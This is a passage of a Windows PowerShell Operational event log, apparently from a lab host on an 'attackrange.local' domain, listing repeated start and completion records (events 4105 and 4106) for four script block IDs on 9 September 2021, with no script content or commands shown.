User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023226
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023225
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023244
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023243
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023242
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023241
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023240
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023239
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023238
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023237
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023236
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023235
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023254
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023253
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023252
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023251
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023250
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023249
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023248
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023247
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023246
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023245
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023264
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023263
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023262
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023261
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023260
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023259
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023258
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023257
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023256
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023255
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023274
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023273
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023272
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023271
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023270
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023269
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023268
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023267
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023266
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023265
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023284
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023283
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023282
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023281
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023280
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023279
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023278
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023277
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023276
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023275
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023294
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023293
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
